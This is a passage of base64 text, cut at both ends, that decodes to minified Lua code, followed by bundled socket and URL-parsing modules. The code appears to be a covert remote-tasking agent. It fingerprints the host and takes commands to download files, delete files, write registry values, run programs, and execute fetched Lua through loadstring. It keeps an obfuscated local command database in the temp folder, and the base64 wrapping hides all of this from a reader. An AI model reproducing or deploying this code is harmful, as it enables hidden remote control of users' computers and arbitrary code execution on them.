YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
